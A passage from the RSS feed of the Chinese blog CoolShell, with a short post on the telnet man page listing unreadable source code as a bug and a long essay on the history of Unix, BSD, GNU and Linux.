/></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01-150x150.png\" alt=\"新浪微博的XSS攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_title\">新浪微博的XSS攻击</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3921.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/IE6-Countdown-150x150.png\" alt=\"中国仍是IE6的重灾区\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3921.html\" class=\"wp_rp_title\">中国仍是IE6的重灾区</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2357.html\">一个jQuery的插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2357.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>telnet的一个Bug</title>\n\t\t<link>https://coolshell.cn/articles/2352.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2352.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 14 Apr 2010 01:10:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[telnet]]></category>\n\t\t<category><![CDATA[Ubuntu]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2352</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个链接是Linux分发包Ubuntu的关于Telnet命令的Man Page， http://manpages.ubuntu.com/manpages/k...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2352.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2352.html\">telnet的一个Bug</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个链接是Linux分发包Ubuntu的关于Telnet命令的Man Page，</p>\n<p style=\"text-align: center;\"><a href=\"http://manpages.ubuntu.com/manpages/karmic/man1/telnet-ssl.1.html\" target=\"_blank\">http://manpages.ubuntu.com/manpages/karmic/man1/telnet-ssl.1.html</a></p>\n<p style=\"text-align: left;\">打开这个Man Page，把页面拉到最后一行，你会看到下面这个BUG（“BUGS：源代码不易读！”）</p>\n<pre>     The source code is not comprehensible.</pre>\n<p>Telnet的源代码在这里：<a href=\"http://packages.ubuntu.com/source/dapper/netkit-telnet\" target=\"_blank\">http://packages.ubuntu.com/source/dapper/netkit-telnet</a>，下载下来一看，还真是不易读，简单地看了一下代码，发现至少有这样一些问题：</p>\n<ul>\n<li>空格和Tab键混用的缩进，导致很多代码在没有缩进。</li>\n<li>大量的#if #else以及大量的各种预编译宏。以及一些怪异的宏。如：</li>\n</ul>\n<p style=\"padding-left: 60px;\">#ifndef B19200<br />\n#define B19200 B9600<br />\n#endif</p>\n<p style=\"padding-left: 60px;\">#ifndef B38400<br />\n#define B38400 B19200<br />\n#endif</p>\n<ul>\n<li>什么叫在C中写C++，第一次见。（在terminal.cc中间居然出现了几个class）</li>\n<li>变量命名很不直观，大量的old, tmp, c1, c2, s1, s2, s3 等学校里用的变量名，只有作者自己知道是什么意思。函数命令的风格也不一致，编程风格也很不一致，基本没有编程规范。</li>\n</ul>\n<p>的确很不易读。不管怎么样，很欣赏在man page中把源码的易读性列为BUG的这种作法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" alt=\"GNU/Linux下有多少是GNU的？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_title\">GNU/Linux下有多少是GNU的？</a></li><li ><a href=\"https://coolshell.cn/articles/1644.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"装完Ubuntu 9.10后要干的事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1644.html\" class=\"wp_rp_title\">装完Ubuntu 9.10后要干的事</a></li><li ><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_title\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li ><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Ubuntu的并行启动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_title\">Ubuntu的并行启动</a></li><li ><a href=\"https://coolshell.cn/articles/14.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/zcover-150x150.jpg\" alt=\"Java书籍Top 10\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/14.html\" class=\"wp_rp_title\">Java书籍Top 10</a></li><li ><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" alt=\"你确信你了解时间吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_title\">你确信你了解时间吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2352.html\">telnet的一个Bug</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2352.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unix传奇(上篇)</title>\n\t\t<link>https://coolshell.cn/articles/2322.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2322.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 09 Apr 2010 00:45:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Bill Joy]]></category>\n\t\t<category><![CDATA[Dennis Ritchie]]></category>\n\t\t<category><![CDATA[Ken Thompson]]></category>\n\t\t<category><![CDATA[Linus Torvalds]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Richard Stallman]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2322</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【本文曾于2007年3月于我在CSDN上的BLOG发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2322.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"color: #808080;\">【本文曾于2007年3月于</span><a href=\"http://blog.csdn.net/haoel\" target=\"_blank\"><span style=\"color: #0000ff;\">我在CSDN上的BLOG</span></a><span style=\"color: #808080;\">发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链接。】</span></p>\n<hr />\n<p>了解过去，我们才能知其然，更知所以然。总结过去，我们才会知道我们明天该如何去规划，该如何去走。在时间的滚轮中，许许多的东西就像流星一样一闪而逝，而有些东西却能经受着时间的考验散发着经久的魅力，让人津津乐道，流传至今。要知道明天怎么去选择，怎么去做，不是盲目地跟从今天各种各样琳琅满目前沿技术，而应该是去 —— 认认真真地了解和回顾历史。 </p>\n<p>Unix是目前还在存活的操作系统的元老了，走过了40年的历程（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1032.html\" target=\"_blank\">Unix 40年：Unix年鉴</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1023.html\">Unix 40年：昨天，今天和明天</a>》）。在技术更新如此迅速的计算机世界的今天，Unix始终保持它那神圣的光环，它那曲折和令人叹息的历史，以及由它引发的思想变革，对当今计算机文化造成的深远影响，这40年所产生的人和事，让它成为了一个传奇，不能不让人为之惊叹。</p>\n<p>这是一段所有从事计算机行业人员尤其是软件开发人员需要了解的历史。Unix的传奇历史是整个计算机世界文化最具代表性的，它对整个计算机世界文化的影响也是最巨大，最深远的。他给人带来的不单单的对过去的回味，更为我们带来了计算机世界的新思潮。</p>\n<p>了解这段的历史的人，才能体会计算机世界变迁过程中的是是非非，才能了解计算机世界中的文化，从而才能参与到整个计算机革命的大潮中。希望这段历史，这篇文章能让你感受到计算机世界那强力的脉搏，从而让你踏上这条令人充满激情的道路。</p>\n<p><strong><a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">上篇</a></strong></p>\n<ul>\n<li>Unix起源</li>\n<li>Unix分裂</li>\n<li>Unix的法律纠纷</li>\n<li>GNU开源组织</li>\n<li>Linux横空出世</li>\n<li>Linux今天的领袖</li>\n</ul>\n<p><span id=\"more-2322\"></span></p>\n<p><strong><a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">下篇</a></strong></p>\n<ul>\n<li>Unix与黑客文化</li>\n<li>Unix的历史教训</li>\n<li>Unix 家族谱</li>\n<li>Unix的特点</li>\n<li>Unix的影响和哲学</li>\n<li>Unix痛恨者手册</li>\n</ul>\n<p> </p>\n<h3>Unix 起源</h3>\n<p> 回顾Unix历史，我们就要说一下一个叫MULTICS（Multiplexed Information and Computing Service）的项目。上世纪六十年代时，大部份计算机都是采用批处理（Batch Processing）的方式（也就是说，当作业积累一定数量的时候，计算机才会进行处理）。那时，我们熟知的美国电话及电报公司（American Telephone and Telegraph Inc.；AT&amp;T）、通用电器公司（General Electrics；G.E.）及麻省理工学院（Massachusetts Institute of Technology；MIT）计划合作开发一个多用途（General-Purpose）、分时（Time-Sharing）及多用户（Multi-User）的操作系统，也就是这个MULTICS，其被设计运行在GE-645大型主机上。不过，这个项目由于太过复杂，整个目标过于庞大，糅合了太多的特性，进展太慢，几年下来都没有任何成果，而且性能都很低。于是到了1969年2月，贝尔实验室（Bell Labs）决定退出这个项目。</p>\n<p> 熟悉这段历史的人都知道，贝尔实验室中的有个叫Ken Thompson的人，他为MULTICS这个操作系统写游戏了个叫“Space Travel”的游戏，在MULTICS上经过实际运行后，他发现游戏速度很慢而且耗费昂贵 —— 每次运行会花费75美元。退出这个项目以后。他为了让这个游戏能玩，所以他找来Dennis Ritchie为这个游戏开发一个极其简单的操作系统。这就是后来的Unix。（值得一提的是，当时他们本想在DEC-10上写，后来没有申请到，只好在实验室的墙角边找了一台被人遗弃的Digital PDP-7的迷你计算机进行他们的计划，这台计算机上连个操作系统都没有，于是他们用汇编语言仅一个月的时间就开发了一个操作系统的原型）他们的同事Brian Kernighan非常不喜欢这个系统，嘲笑Ken Thompson说：“你写的系统好真差劲，干脆叫Unics算了。”Unics的名字就是相对于MULTICS的一种戏称，后业改成了Unix。于是，Unix就在这样被游戏和玩笑创造了，当时是1969年8月。也就是这一年，Linux之父Linus Torvalds在芬兰出生了。</p>\n<p>1971年，Ken Thompson写了充分长篇的申请报告，申请到了一台PDP-11/24的机器。于是Unix第一版出来了。在一台PDP-11/24的机器上完成。这台电脑只有24KB的物理内存和500K磁盘空间。Unix占用了12KB的内存，剩下的一半内存可以支持两用户进行Space Travel的游戏。而著名的fork()系统调用也就是在这时出现的。</p>\n<p>到了1973年的时候，Ken Thompson 与Dennis Ritchie感到用汇编语言做移植太过于头痛，他们想用高级语言来完成第三版，对于当时完全以汇编语言来开发程序的年代，他们的想法算是相当的疯狂。一开始他们想尝试用Fortran，可是失败了。后来他们用一个叫BCPL（Basic Combined Programming Language）的语言开发，他们整合了BCPL形成B语言，后来Dennis Ritchie觉得B语言还是不能满足要求，就是就改良了B语言，这就是今天的大名鼎鼎的C语言。于是，Ken Thompson 与Dennis Ritchie成功地用C语言重写了Unix的第三版内核。至此，Unix这个操作系统修改、移植相当便利，为Unix日后的普及打下了坚实的基础。而Unix和C完美地结合成为一个统一体，C与Unix很快成为世界的主导。</p>\n<p>Unix的第一篇文章 “The UNIX Time Sharing System”由Ken Thompson和Dennis</p>\n<p>Ritchie于1974年7月的 the Communications of the ACM发表。这是UNIX与外界的首次接触。结果引起了学术界的广泛兴趣并对其源码索取，所以，Unix第五版就以“仅用于教育目的”的协议，提供给各大学作为教学之用，成为当时操作系统课程中的范例教材。各大学公司开始通过Unix源码对Unix进行了各种各样的改进和扩展。于是，Unix开始广泛流行。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_unixrichiethompson.jpg\" alt=\"\" /><br />\nKen Thompson &amp; Dennis Ritchie</p>\n<p> </p>\n<h3>Unix分裂</h3>\n<p>1978年，对 Unix而言是革命性的一年；因为学术界的老大柏克利大学 （UC Berkeley），推出了一份以第六版为基础，加上一些改进和新功能而成的 Unix。这就是著名的“1 BSD（1st Berkeley Software Distribution）”，开创了Unix的另一个分支：BSD 系列。 同时期，AT&amp;T成立USG（Unix Support Group），将 Unix变成商业化的产品。从此，BSD的 Unix 便和AT&amp;T 的Unix 分庭抗礼，Unix就分为System IV和4.x BSD这两大主流，各自蓬勃发展。</p>\n<p>1979年发布的Unix 第七版被称为是“最后一个真正的Unix”，这个版本的Unix内核只有40K bytes。后来这个版本被移植到VAX机上（我在大学时学习C语言时用过这个VAX机，我还记得那时上VAX机最大的爱好就是使用talk命令和别人聊天，呵呵）。20世纪80年代相继发布的8、9、10版本只授权给了少数大学。</p>\n<p>1982年，AT&amp;T基于版本7开发了UNIX System Ⅲ的第一个版本，这是一个商业版本仅供出售。为了解决混乱的UNIX版本情况，AT&amp;T综合了其他大学和公司开发的各种UNIX，开发了UNIX System V Release 1。这个新的UNIX商业发布版本不再包含源代码，所以加州大学Berkeley分校继续开发BSD UNIX，作为UNIX System III和V的替代选择。BSD对UNIX最重要的贡献之一是TCP/IP。BSD 有8个主要的发行版中包含了TCP/IP：4.1c、4.2、4.3、4.3-Tahoe、4.3-Reno、Net2、4.4以及 4.4-lite。这些发布版中的TCP/IP代码几乎是现在所有系统中TCP/IP实现的前辈，包括AT&amp;T System V UNIX 和Microsoft Windows中的TCP/IP都参照了BSD的源码。</p>\n<p>同时，其他一些公司也开始为其自己的小型机或工作站提供商业版本的UNIX系统，有些选择System V作为基础版本，有些则选择了BSD。BSD的一名主要开发者，Bill Joy，在BSD基础上开发了SunOS，并最终创办了Sun Microsystems。</p>\n<p style=\"text-align: center;\"> <img decoding=\"async\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_bill_joy.gif\" alt=\"\" /><br />\nBill Joy</p>\n<p> 1991年，一群BSD开发者（Donn Seeley、Mike Karels、Bill Jolitz 和 Trent Hein）离开了加州大学，创办了Berkeley Software Design, Inc (BSDI)。BSDI是第一家在便宜常见的Intel平台上提供全功能商业BSD UNIX的厂商。后来Bill Jolitz 离开了BSDI，开始了386BSD的工作。386BSD被认为是FreeBSD、OpenBSD 和 NetBSD、DragonFlyBSD的先辈。</p>\n<p>这是一个AT&amp;T妄图私有化的Unix的时代。为了私有化Unix，1986年IEEE指定了一个委员会制定了一个一个开放作业系统的标准,称为 POSIX (Portable Operating Systems Interface)。最后加上个X，不知道是为了好听，还是因为这本质上是UNIX的标准。当然，AT&amp;T的Unix取得了这个标准制订战争的胜利，还取得了Unix这个注册商标。此时BSD的拥护者自喻为冷酷无情的公司帝国的反抗军。就销售量来说，AT&amp;T UNIX始终赶不上BSD/Sun。到1990年，AT&amp;T与BSD版本已难明显区分，因为彼此都有采用对方的新发明。</p>\n<p> 这段时期，从实验室出来的被全世界所分享的Unix，正处于被私有化的关键时期。（这里有一个笑话——《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1439.html\" target=\"_blank\">Alice梦游UNIX仙境</a>》）</p>\n<h3>Unix的法律纠纷</h3>\n<p> Berkeley Software Design, Inc（BSDI）很快就与AT&amp;T的UNIX Systems Laboratories（USL）附属公司产生了法律纠纷，USL是AT&amp;T注册的公司。AT&amp;T为了拥有System V版权，以及Unix商标，为了垄断Unix，1992年，USL正式对BSDI提起诉讼，说BSD剽窃他的源码。而最终了结了好评如潮的BSD系统。</p>\n<p>由于最后判决悬而未决，这桩法律诉讼将BSD后裔的开发，特别是自由软件，延迟了两年，这导致没有法律问题的Linux内核获得了极大的支持。Linux跟386BSD的开发几乎同时起步，Linus说，当时如果有自由的基于386的Unix-like操作系统，他就可能不会创造Linux。尽管无法预料这给以后的软件业究竟造成了什么样的影响（如果没有这个法律纠纷，很有可能没有今天的革命性的Linux），但有一点可以肯定，Linux更加丰富了这块土壤。</p>\n<p>这场官司一直打到 AT&amp;T将自己的Unix系统实验室卖掉，新接手的Novell公司采取了一种比较开明的做法，允许BSDI自由发布自己的BSD，但是前提是必须将来自于AT&amp;T的代码完全删除，于是诞生了4.4 BSD Lite版，由于这个版本不存在法律问题，4.4BSD Lite成为了现代BSD系统的基础版本。</p>\n<p>这桩诉讼最终在1994年1月了结，更多地满足了BSDI的利益。伯克利套件的18,000个文件中，只有3个文件要求删除，另有70个文件要求修改，并显示USL的版权说明。这项调解另外要求，USL不得对4.4BSD提起诉讼，不管是用户还是BSDI代码的分发者。于是，BSD Unix走上了复兴的道路。BSD的开发也走向了几个不同的方向，并最终导致了FreeBSD、OpenBSD和NetBSD的出现。</p>\n<p>从AT&amp;T意识到了Unix的商业价值，不再将Unix源码授权给学术机构以来，到以后的几十年，Unix仍在不断变化，其版权所有者不断变更，授权者的数量也在增加。Unix的版权曾经为AT&amp;T所有，之后Novell拥有了Unix，再之后Novell又将版权出售给了SCO（这一事实双方尚存在争议）。有很多大公司在取得了Unix的授权之后，开发了自己的Unix产品。（几年前，据传闻微软为了限制Linux，微软让SCO到法院告Linux剽窃其源码）</p>\n<p>由于Unix是由C语言写的，所以修改和移植都很容易，因此，很多商业公司及学术机构均加入这个操作系统的研发，各个不同版本的Unix也开始蓬勃发展。这才产生了今天这么多的各式各样的Unix衍生产品。如AIX、Solaris、HP-UX、IRIX、OSF、Ultrix等等。（这些商业化的Unix基本上都是源于AT&amp;T授权的Unix System V）</p>\n<h3>Unix开源组织</h3>\n<p>AT&amp;T的这种商业态度，让当时许许多的Unix的爱好者和软件开发者们感到相当的痛心和忧虑，他们认为商业化的种种限制并不利于产生的发展，相反还能导制产品出现诸多的问题。随着商业化Unix的版本的种种限制和诸多问题，引起了大众的不满和反对。于是，大家开始有组织地结成“反叛联盟”以此对抗欺行罢市的AT&amp;T等商业化行为。</p>\n<p>另一方面，关于“大教堂”（集权、封闭、受控、保密）和“集市”（分权、公开、精细的同僚复审）两种开发模式的对比成为了新思潮的中心思想。这个新思潮对IT业产生了非常深远影响。为整个计算机世界带来了革命性的价值观。</p>\n<p><img decoding=\"async\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_richard_stallman.jpg\" alt=\"\" align=\"right\" />此时，一个名叫Richard Stallman的领袖出现了，他认为Unix是一个相当好的操作系统，如果大家都能够将自己所学贡献出来，那么这个系统将会更加的优异！他倡导的Open Source的概念，就是针对Unix这一事实反对实验室里的产品商业化私有化。尽管Stallman既不是、也从来没有成为一个Unix程序员，但在后1980的大环境下，实现一个仿Unix操作系统成了他追求的明确战略目标。Richard Stallman早期的捐助者大都是新踏入Unix土地的老牌ARPANET黑客，他们对代码共享的使命感甚至比那些有更多Unix背景的人强烈。</p>\n<p>为了这个理想，Richard Stallman于1984年创业了GNU，计划开发一套与Unix相互兼容的的软件。1985 年 Richard Stallman 又创立了自由软件基金会（Free Software Foundation）来为 GNU 计划提供技术、法律以及财政支持。尽管 GNU 计划大部分时候是由个人自愿无偿贡献，但 FSF 有时还是会聘请程序员帮助编写。当 GNU 计划开始逐渐获得成功时，一些商业公司开始介入开发和技术支持。当中最著名的就是之后被 Red Hat 兼并的 Cygnus Solutions。</p>\n<p>GNU组织的建立，延续了当年Unix刚出现时的情形，并为这种情形建立了可靠的法律和财务保障。GNU 工程十几年以来, 已经成为一个对软件开发主要的影响力量， 创造了无数的重要的工具。例如：强健的编译器，有力的文本编辑器，甚至一个全功能的操作系统。从那时开始，许多程序员聚集起来开始开发一个自由的、高质量、易理解的软件，让这使得Unix社区生机勃勃，一派繁荣景象。</p>\n<p> 自90年代发起这个计划以来，GNU 开始大量的产生或收集各种系统所必备的组件，像是——函数库（libraries）、编译器（compilers）、调式工具（debugs）、文本编辑器（text editors）、网站服务器（web server），以及一个Unix的使用者接口（Unix shell）等等，等等。但由于种种原因，GNU一直没有开发操作系统的kernel。正当Richard Stallman在为操作系统内核伤脑筋的时候，Linux出现了。</p>\n<h3>Linux横空出世</h3>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_linus.gif\" alt=\"\" width=\"230\" height=\"186\" align=\"left\" />1990年，Linus Torvalds还是芬兰赫尔辛基大学的一名学生，最初是用汇编语言写了一个在80386保护模式下处理多任务切换的程序，后来从Minix（Andy Tanenbaum教授所写的很小 的Unix操作系统,主要用于操作系统教学）得到灵感，进一步产生了自认为狂妄的想法——写一个比Minix更好的Minix，于是开始写了一些硬件的设备驱动程序，一个小的文件系统。这样0.0.1版本的Linux就出来了，但是它只具有操作系统内核的勉强的雏形，甚至不能运行，你必须在有Minix的机器上编译以后才能玩。这时候Linus已经完全着迷而不想停止，决定踢开Minix，于是在1991年10 月5号发布Linux 0.0.2版本,在这个版本中已经可以运行bash 和gcc。</p>\n<p>从一开始，Linus就决定自由扩散Linux，包括原代码，随即Linux引起黑客们（hacker）的注意，通过计算机网络加入了Linux的内核开发。Linux倾向于成为一个黑客的系统——直到今天，在Linux社区里内核的开发被认为是真正的编程。由于一批高水平黑客的加入，使Linux 发展迅猛，几乎一两个礼拜就有新版或修正版的出现，到1993年底94年初，Linux 1.0终于诞生了！Linux 1.0已经是一个功能完备的操作系统，而且内核写得紧凑高效，可以充分发挥硬件的性能，在4M内存的80386机器上也表现得非常好，至今人们还在津津乐道。时至今日，kernel的版本已经出到2.6。Linux的发展不像传统的软件工程，它完全是透过网络，集合世界各地的高手而成的一套操作系统，在这里我们也可以见识到网络快速传播的威力。Linux初次让整个世界感觉到了开源力量和网络力量的如此强大。（Linux 的标志和吉祥物是一只名字叫做 Tux 的 企鹅，标志的由来是因为Linus在澳洲时曾被一只动物园里的企鹅咬了一口，便选择了企鹅作为Linux的标志。）</p>\n<p>Linux 的历史是和GNU紧密联系在一起的。从1983年开始的GNU计划致力于开发一个自由并且完整的类Unix操作系统，包括软件开发工具和各种应用程序。到1991年 Linux 内核发布的时候，GNU已经几乎完成了除了系统内核之外的各种必备软件的开发。在 Linus Torvalds 和其它开发人员的努力下，GNU组件可以运行于Linux内核之上。整个内核是基于 GNU 通用公共许可，也就是GPL（GNU General Public License，GNU通用公共许可证）的，但是Linux内核并不是GNU 计划的一部分。1994年3月，Linux1.0版正式发布，Marc Ewing成立了 Red Hat 软件公司，成为最著名的 Linux 分销商之一。</p>\n<p>严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU 工程各种工具和应用程序的操作系统(也被称为GNU/Linux)。基于这些组件的Linux软件被称为Linux发行版。一般来讲，一个Linux发行套件包含大量的软件，比如软件开发工具，数据库，Web服务器（例如Apache)，X Window，桌面环境（比如GNOME和KDE），办公套件（比如OpenOffice.org），等等。</p>\n<p>1991至1995年间，Linux从概念型的0.1版本内核原型，发展成为能够在性能和特性上均堪媲美专有Unix的操作系统，并且在连续正常工作时间等重要统计数据上打败了这些Unix中的绝大部分。1995年，Linux找到了自己的杀手级应用——开源的web服务器Apache。就像Linux，Apache出众地稳定和高效。很快，运行Apache的Linux机器成了全球ISP平台的首选。约60%的网站选用Apache，轻松击败了另两个主要的专有型竞争对手。今天的LAMP（Linux , Apache, MySQL, PHP）已经成为了架构Web服务器的主要首选。</p>\n<p> 现如今的Linux不但可以装在几乎所有的主流服务器上，当然也包括桌面的X86系统中。其还常常被用于嵌入式系统，机顶盒、手机、交换机、游戏机、PDA、网络交换机、路由器、等等，都是因为Linux那精彩的内核。</p>\n<p>Linux的出现，不仅仅给世界带来了一个免费的操作系统，也不仅仅是对Unix自由、共享的文化的延续，它的出现带给了计算机世界自Unix、GNU以来更为成熟的思想和文化。</p>\n<h3>Linux今天的领袖</h3>\n<p><strong> </strong></p>\n<p>Linux和GNU关系是比较微妙的。那时，自由软件基金会编写的用户软件工具包铺平了一条摆脱高成本专有软件开发工具的前进道路。意识服从经济，而不是领导：一些新手加入了RMS的革命运动，高举GPL大旗，另一些人则更认同整体意义上的Unix传统，加入了反对GPL的阵营，但其他大部分人置身事外，一心编码。</p>\n<p>Linus Torvalds巧妙地跨越了GPL和反GPL的派别之争。他利用GNU工具包搭起了自创的Linux内核，用GPL的传染性质保护它，但拒绝认同Richard Stallman的许可协议反映的思想体系计划。Linus Torvalds明确表示他认为自由软件一般情况下更好，但他偶尔也用专有软件。即使在他自己的事业中，他也拒绝成为狂热分子。这一点极大地吸引了大多数黑客，他们虽然早就反感Richard Stallman的言辞，但他们的怀疑论一直缺个有影响力或者令人信服的代言人。而Linus Torvalds正好充当了这一角色。</p>\n<p> <img decoding=\"async\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_Linus_Torvalds.jpg\" alt=\"\" align=\"right\" />Linus Torvalds令人愉快的实用主义及灵活而低调的行事风格，促使黑客文化在1993至1997年间取得了一连串令人惊奇的胜利，不仅仅在技术上的成功，还让围绕Linux操作系统的发行、服务和支持产业有了坚实的开端。结果，他的名望和影响也一飞冲天。Torvalds成为了互联网时代的英雄；到1995年为止，他只用了四年时间就在整个黑客文化界声名显赫，而Richard Stallman为此花了十五年，而且他还远远超过了Stallman向外界贩卖“自由软件”的记录。与Torvalds相比，Richard Stallman的言辞渐渐显得既刺耳又无力。（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1278.html\" target=\"_blank\">Linus Torvalds 语录 Top 10</a>》）</p>\n<p>今天，我们也说不清楚是GNU Linux还是Linux GNU。Linux既不排斥开源，也不排斥商业化，Linus认为好的软件是需要免费和商业化共同推进的。正是这种革命性的想法，造就了今天的Linux火红的局面（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1360.html\" target=\"_blank\">谁写了Linux</a>》、《<a rel=\"bookmark\" 